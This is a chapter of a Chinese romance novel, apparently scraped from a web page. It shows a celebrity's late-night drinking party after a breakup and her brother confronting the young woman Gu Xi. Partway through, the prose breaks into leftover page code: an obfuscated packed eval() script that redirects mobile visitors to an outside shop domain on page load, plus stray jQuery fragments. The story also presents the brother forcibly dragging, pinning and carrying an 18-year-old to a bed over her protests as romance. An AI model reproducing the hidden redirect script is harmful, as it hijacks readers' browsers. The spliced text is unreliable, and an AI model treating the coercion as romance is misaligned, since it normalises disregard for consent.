半小时后,逢欢在客厅的茶几上铺开一张锡纸,上面摆满她刚点的烧烤,还有整整一箱啤酒。
当然不是为了那个男人买醉。她只是单纯馋了。
摆烤串时,逢易没有过来帮忙。他靠着落地窗边往外望。很安静,像在出神。
“转性了。”逢欢抬眸看他一眼,没话找话:“怎么不抽烟?”
之前他每次来都会摸烟。往往是烟刚咬到嘴里,逢欢的骂声就跟着到了。循环往复,几乎成为一种神秘的仪式。
今天没有这个仪式,反倒让她有些意外。
“戒了。”逢易不咸不淡地回了一句。
避免沦陷在情绪里的最好办法就是转移注意力。逢欢把目标放在哥哥身上,火力全开:“不会是还没走出失恋的阴影吧?”
逢易将头靠在窗玻璃上,悠闲地睇她:“没话找话,你比较像笼罩在失恋阴影里的人。”
逢欢一哽。
他也不追问,目光落到茶几的烧烤上:“这么多两个人吃得完?”
按逢欢的食量来算,这满桌食物基本都是逢易一个人的。他又不是饕餮。
于是逢欢给白衣曼打了电话,逢易又叫来了严淮。
两个闲人一呼即应,没过多久就到了。
进门时,逢欢看到白衣曼的手里还拎着两瓶洋酒。
严淮跟在后面,手里拎着水果,看见逢欢,他眼睛一亮:“姐,好久不见!”
确实很久不见。
记得上回见他是逢易住院那会。也就是那天,她和沈绍和真正意义上重逢,彼此交换了微信与电话。
不到半年,关系又回到原点。
四个人围着酒桌坐下,白衣曼把酒放到桌上,侧眸看向逢欢:“心情不好?”
兄妹俩的情绪,一个写在脸上,一个藏在心里。逢欢自以为演技高明,却没想到还是瞒不过多年好友。
但她不想提,只摇了摇头,什么都没说。
“这酒烈得很,”严淮给他们一人倒了一杯:“感觉就我们几个人喝不太得劲啊。”
喝酒确实是人多比较好玩。但身边交心朋友有限,跟逢欢关系好到能来她家的另两位女明星又有通告在身,不提前根本约不到。
白衣曼忽然想起什么,转头看向逢欢:“上次在法国见过的那个小美女呢?也把她叫来吧。”
“她早就回美国了。”
逢欢有意无意瞥了逢易一眼,发现他面色如常。
“啊?”白衣曼愣住:“可我前天还在酒吧看到她了呢。”
“前天?”逢易睨她一眼,终于出声:“哪个酒吧?”
“喝懵了,不记得。”白衣曼挥挥手,语气随意:“看来你们关系不怎么样,人家回国都不愿意告诉你。”
逢欢拿出手机:“我打电话问问。”
逢易和顾溪之间有问题。虽然不知道他们之间发生了什么,但心结宜解不宜结。
叫她过来,说不定事情会变得不一样。
而且她确实也需要些热闹。
严淮半点没看出异常,一直追问小美女有没有男朋友。逢易听得烦了,啧了声,投去一个警告的眼神。
没想到,对逢易各种联系视而不见的顾溪竟秒接了逢欢的电话。
扩音器打开,清甜的声音从听筒传出:“姐姐,你给我打电话啦!”
电话那头很吵,但能听出不是在酒吧。大概是商场,背景忽然响起机械的女声播报,说的是中文。
她果然回来了,只是没告诉他们。
半小时后,顾溪按响了逢欢家的门铃。
铃声响起时,逢易恰好在冰箱翻找冰淇淋。那边离大门近,自然是他去开门。
刚才逢欢刻意隐瞒了逢易也在她家的事,只说和白衣曼在喝酒吃夜宵,问她要不要来。
门打开,顾溪站在门口,怀里抱着一只布偶猫。
看见逢易,她脸上的笑容僵了僵。但很快反应过来,语气轻快得像什么都没发生过:“原来逢总也在啊。”
逢总。
给他打工时都没这么叫过,现在反而装模作样起来。
逢易心里冷笑,没说话,侧身让出一条通道。
顾溪换鞋进门,小跑进客厅:“姐姐,刚才在楼下看到姐夫,他说这是你的小猫,让我带给你。”
逢欢正在吃烤串,手顿了一下。
看见妈妈,好好叫了一声,三两下就从顾溪怀里窜出去,扑进逢欢怀里。
逢欢把猫抱稳,低头蹭了蹭她的脑袋。
“沈绍和在楼下?”白衣曼反应过来,往门口看了一眼:“怎么不叫他一起上来。”
“这还不明显吗。”逢易把冰淇淋扔给她们,靠在墙边,懒懒道:“人家失恋了。”
众人面面相觑,陷入沉默。
“什么失恋不失恋的。”逢欢抱着猫,语气淡淡的:“都没开始过,不提了。”
猫回来就好。她明天就让清姐帮她聘请一个专业保姆。她不信她一个顶流女明星,连只猫都照顾不好。
难道离了他沈绍和,日子就不过了吗?
“小溪,坐我这里。”
白衣曼伸手把顾溪拉到身边坐下,顺带介绍了严淮。动作自然,缓解了那点若有似无的尴尬。
严淮盯着顾溪看了几秒,回过神,语气难掩赞叹:“曼姐刚才夸得收敛了。这哪是小美女?简直就是超级大美女。”
“你是猪啊。”白衣曼笑骂:“我说的是年纪小,人家才十八岁。”
不过顾溪今天打扮得确实漂亮。
相比法国时的活泼,她今天穿得略显成熟。发尾烫成卷,散在肩头,还化了妆。与初见时不修边幅的模样判若两人,显然是用了心的。
“小溪,你回国怎么不告诉我一声?”逢欢把猫放到沙发上,看向顾溪:“说好带你一起玩的,这次打算待多久?”
“带男朋友来旅游,不好意思打扰姐姐。”顾溪笑了笑,语气轻松:“他说没来过中国,想来看看。过几天就回去了。”
“都有男朋友了啊?”严淮一脸惆怅:“看来我没机会了。”
他嘴上一贯没个把门,想到哪说到哪,也不管小姑娘会不会尴尬。
顾溪倒是不介意,大大咧咧回应:“他追了我好久呢,长得可帅了。”
她说得坦荡,半开玩笑半认真,气氛缓和下来。
逢易靠在墙边,听到这句话,嘴角扬了扬。
“那怎么不带过来,”他声音懒懒的:“让我们见见你那小洋人男朋友?”
他是笑着说的,言语中却不难听出若有若无的刺。
“你要是想见,我明天带出来。”顾溪向来嘴皮子厉害,才不会甘拜下风:“今天是来姐姐家,不方便。”
一如既往的伶牙俐齿。
“你杵那干嘛?”白衣曼睨了逢易一眼:“过来喝酒啊。”
逢易这才动身,在另一头坐下。
啤酒喝起来没什么感觉,但那两瓶洋酒极烈。酒过三巡,严淮人菜瘾大,没喝多少就睡晕过去。
白衣曼和顾溪却越聊越亢奋,话题从天南转到海北,什么都要说几句。
逢易和逢欢靠在沙发上,两人心思各异,都不太说话。
直到白衣曼开始怂恿顾溪分享她的恋爱小故事,逢易忽然起身,伸手握住顾溪的手腕,拉她往门外走:“过来。”
“你干什么……”
顾溪喝多了,身子发软。被他这么一拽,腿弯下去,差点摔到地上。
“逢易。”逢欢出声,递去一个警告的眼神:“别太过分了。”
让他们把话说清楚,没让他对小姑娘动手。
“说几句话而已。”逢易没理她,握着顾溪继续往门口走。
门关上,屋内陷入短暂的寂静。
逢欢抱着靠枕,看向白衣曼,没说话。旁边是睡熟的严淮和好好。
白衣曼看了她一眼,忽然开口:“是他主动提的?”
逢欢点头,又摇头。
“他只说以后保持正常距离。”她顿了顿:“我觉得这甚至不能说是分手。”
“也是。”白衣曼若有所思:“他现在和以前不一样了。可能性格变了,处事的态度也变了吧。”
“随他去吧。”逢欢仰头靠在沙发上,声音闷闷的:“我没挽留。”
深夜寂静,酒意上涌,逢欢差点没压住胸口翻涌的情绪。
声音里有鼻音,好像是哭了。
“宝儿,别怪我不站你这头。”白衣曼长叹息:“我觉得沈绍和那句话,可能不是你理解的意思。”
逢欢看向她,似是不解。
“回想一下当时那个场面。”白衣曼坐正身子:“你肯定是二话不说,把他骂了一顿之后就走了,对吧。”
对。逢欢默认。
“假设你没那么做,而是跟他说,我不想跟你保持正常距离,我想当你女朋友……”
白衣曼没往下说,但逢欢听懂了。
她明白好友的意思。
可她是最骄傲的。
她可以为了爱情放下面子,主动去找沈绍和表白。但她不能做到在他主动划清界限后,再卑微地说出那句她没来得及说出口的话。
那样很狼狈,很不体面。她也有自尊。
空气再次沉默,只听见彼此清浅的呼吸。
其实白衣曼没说,逢欢的那些低头与让步,与沈绍和实质性的付出比起来,算不上什么。爱应当是双向的,不该是一个人的倾尽全力。
局外人看得很清楚,局中的却总像身处迷雾。
但谁让她是逢欢呢?随她怎么做吧。
她只希望她的好朋友别再痛苦,别再钻牛角尖。
*
楼道里,顾溪被逢易拽着走了一路。
“放开我……”
她使劲挣扎,可逢易手劲大,她细胳膊细腿,饶是使劲浑身解数也没办法挣脱。
逢易把她拽到电梯前,按下按钮。不多时,梯门打开,他径直带她进去,按了上面一个楼层。
从头到尾他都没说话,侧脸线条紧绷着,脸色阴沉,心情看起来相当差。
逢易生气的模样有些吓人。顾溪到底比他小十多岁,心底发怵,最后也没怎么挣扎,任由他把她带到楼上的新家。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682936|204663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
房门落锁,逢易转身,把她按在门板上。
“说吧。”他声音低低的,带着酒意:“躲什么?”
夜深人静,这么高的楼层,听不见外面一点声音。
“没有躲你啊。”越是安静,顾溪反而越是坦荡:“工作都结束了,总有删老板微信的自由吧。”
她皮肤白,衬得那双眼睛越发黑沉。望向他时,像隔了层薄雾。
他嗤笑一声,伸手捏住她的下巴,用了力。
“当我是你那毛都没长齐的小男朋友,随便糊弄几句就信了?”
“我没糊弄你。”顾溪酒喝多了,身体发软,没力气挣扎,只能堪堪靠着门板:“是你自己想太多。”
“是因为那天飞机上的事?”他凑近她,声音低低的,在酒意晕染下显得更沉:“你觉得我对你有别的想法,对不对?”
逢易就是这样。他从不喜欢拐弯抹角,想问的,他会直接问。
顾溪的神色肉眼可见地慌了。
“我没有。”她别开眼:“你先放开我,我们好好说。”
“凭什么放开你?”逢易不仅不放,反而凑得更近:“你这丫头边界感还挺强的。不是美国人吗?分不清男人对女人真有感觉时是什么样?”
他那天睡懵了,在没清醒的状态下对小姑娘耍了流氓,是他不对。
但这就是她一声不吭离开他的理由?
好歹认识这么久,即使是朋友,远走高飞也得提前告个别。
他越想越不爽。
不知是不是喝了酒的缘故,顾溪被他说得有些躁动。
她深吸一口气,看向逢易,一字一句道:“我删除你不是因为那天的事,只是不想和你有更进一步的发展。”
那样的亲密接触,对她来说确实算不上什么。但它在她心里敲响了一记警钟。
逢易不怒反笑,伸手拈起她的头发。
“哦?”他语气玩味:“你觉得我想和你有进一步的发展?”
这语气听起来比那天还像在耍流氓。
顾溪懒得理他,转身要走。
他却从身后勾住她的腰,轻轻往怀里一揽。
“顾溪。”他低笑一声:“我本来确实没有那个意思。但被莫名其妙误会这么多天,我很不爽,所以必须得坐实一下罪名。”
他把下巴埋进她的颈间,深嗅一口,戏谑道:“你好香啊。哥哥之前怎么没发现,你有这么女人味的一面?”
“你是变态啊?!”顾溪尖叫着想逃离:“我有男朋友!”
“你觉得我在乎吗?”
逢易冷笑一声,手腕稍一用力,直接将她扛到肩上,往卧室的方向走。
“逢易,你放开我!”顾溪真慌了,扑腾一气,没挣脱。
被扔到床上时,她脑子只剩一个念头:这人疯了。
逢易的身形随即覆上来。
鼻尖都是酒味,分不清是谁的。她急得不行,伸手去推,怒骂:“疯子,你疯了!”
可是,预想中的事并没有发生。
他抱住她,只是将头埋在她颈间,没有下一步动作。
随即是良久的沉默。
很久。久到顾溪都快睡着了,颈间才传来低低的声音。
很轻,但她听见了。
“我很想你。”
他说。
*
不管发生了什么,日子还是要照常过。
逢欢必须打起精神,即使再不高兴,镜头前也必须还是那个笑容温柔的女明星。
生活好像没有太大的变化,只是又回到了以前。置顶那个聊天框冷了下来,自那天起就没了音讯。
他们好像真的结束了,又像是陷入了冷战。
会产生这样的错觉,大概是因为她放在他家的东西还没拿回,他也没提出要归还。
逢欢当然不会放下身段去找他,她忙得很,没时间。
那天之后,日子过得很快。
天好像一瞬间就热了起来。羽绒服换成风衣,风衣又换成薄衫。等回过神来,已经是能穿裙子的季节了。
冬天的事,像被吹散的雪,没留下多少痕迹。
杀青那天,《寻医》全剧组为她办了个庆祝会。
今天是允许粉丝探班的日子,也是刺杀事件后她第一次在大众面前现身。
粉丝们都很关心她的近况,符合报名要求的几乎全都到场,即使提前预留一大片场地,依然被挤得水泄不通。
人潮从搭好的围栏里漫出来,一直延伸到街对面,场面竟比开机时更令人震撼。
她给每位到场的粉丝都准备了伴手礼和奶茶,让工作人员挨个分发。
出场时,尖叫声像潮水一样涌来,快把人淹没。
她站在布景前,和粉丝互动聊天。
只是眼神总忍不住往某个方向飘。
这个方向正对医院大楼,头一抬就能看到那扇窗。
阳光刺眼,外面太亮。即使准确找到那扇属于他的窗,也看不清里面的内容。
她不知道他在没在看。
但她知道,这大概是她最后一次出现在这里。